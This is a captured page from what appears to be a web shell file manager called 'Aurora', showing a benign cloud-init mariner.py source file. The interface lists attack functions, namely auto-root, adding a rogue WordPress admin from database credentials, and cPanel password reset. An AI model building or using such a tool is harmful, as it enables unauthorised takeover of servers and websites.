Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
cloudinit
distros
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: mariner.py
# Copyright (C) 2021 VMware Inc. # # This file is part of cloud-init. See LICENSE file for license information. import logging from cloudinit import helpers from cloudinit.distros import photon from cloudinit.net.netplan import CLOUDINIT_NETPLAN_FILE LOG = logging.getLogger(__name__) NETWORK_FILE_HEADER = """\ # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init's # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} """ class Distro(photon.Distro): systemd_hostname_conf_fn = "/etc/hostname" network_conf_dir = "/etc/systemd/network/" systemd_locale_conf_fn = "/etc/locale.conf" resolve_conf_fn = "/etc/systemd/resolved.conf" network_conf_fn = {"netplan": CLOUDINIT_NETPLAN_FILE} renderer_configs = { "networkd": { "resolv_conf_fn": resolve_conf_fn, "network_conf_dir": network_conf_dir, }, "netplan": { "netplan_path": network_conf_fn["netplan"], "netplan_header": NETWORK_FILE_HEADER, "postcmds": "True", }, } # Should be fqdn if we can use it prefer_fqdn = True def __init__(self, name, cfg, paths): photon.Distro.__init__(self, name, cfg, paths) # This will be used to restrict certain # calls from repeatedly happening (when they # should only happen say once per instance...) self._runner = helpers.Runners(paths) self.osfamily = "mariner" self.init_cmd = ["systemctl"] def _get_localhost_ip(self): return "127.0.0.1"